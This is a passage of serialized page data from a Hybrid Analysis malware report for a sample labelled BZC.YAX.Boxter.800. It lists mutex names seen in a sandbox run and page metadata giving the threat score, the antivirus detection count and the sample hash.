bjects\\SM0:1352:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"\\BaseNamedObjects\\SyncRootManager","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1352:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"Local\\SM0:1352:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"Local\\SM0:1352:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"SM0:1352:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"SM0:1352:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4796:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4796:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"SM0:4796:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"Local\\SM0:4796:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"Local\\SM0:4796:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"SM0:4796:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4796:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4796:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:2592:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2592:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:2592:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Vbnhary","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"SM0:2592:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"Vbnhary","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"Local\\SM0:2592:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"SM0:2592:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5792:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"SM0:5792:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"Local\\SM0:5792:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5792:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5792:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]}]}},"report_ids":{"sandbox_job_ids":["6a10955ec009001cf70759e7"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious BZC.YAX.Boxter.800 Sample 49a27468cf5e… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 49a27468cf5e…. Malware family: BZC.YAX.Boxter.800. Threat score 100/100. 8/26 AV engines flagged this file. 15 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/49a27468cf5e8eb607c7ed4a605936fee1b345230080d18d5f24cd8295dbbd94"}],["$","meta","4",{"property":"og:title","content":"Malicious BZC.YAX.Boxter.800 Sample 49a27468cf5e… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 49a27468cf5e…. Malware family: BZC.YAX.Boxter.800. Threat score 100/100. 8/26 AV engines flagged this file. 15 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/49a27468cf5e8eb607c7ed4a605936fee1b345230080d18d5f24cd8295dbbd94"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious BZC.YAX.Boxter.800 Sample 49a27468cf5e… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 49a27468cf5e…. Malware family: BZC.YAX.Boxter.800. Threat score 100/100. 8/26 AV engines flagged this file. 15 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L6a","11",{}]]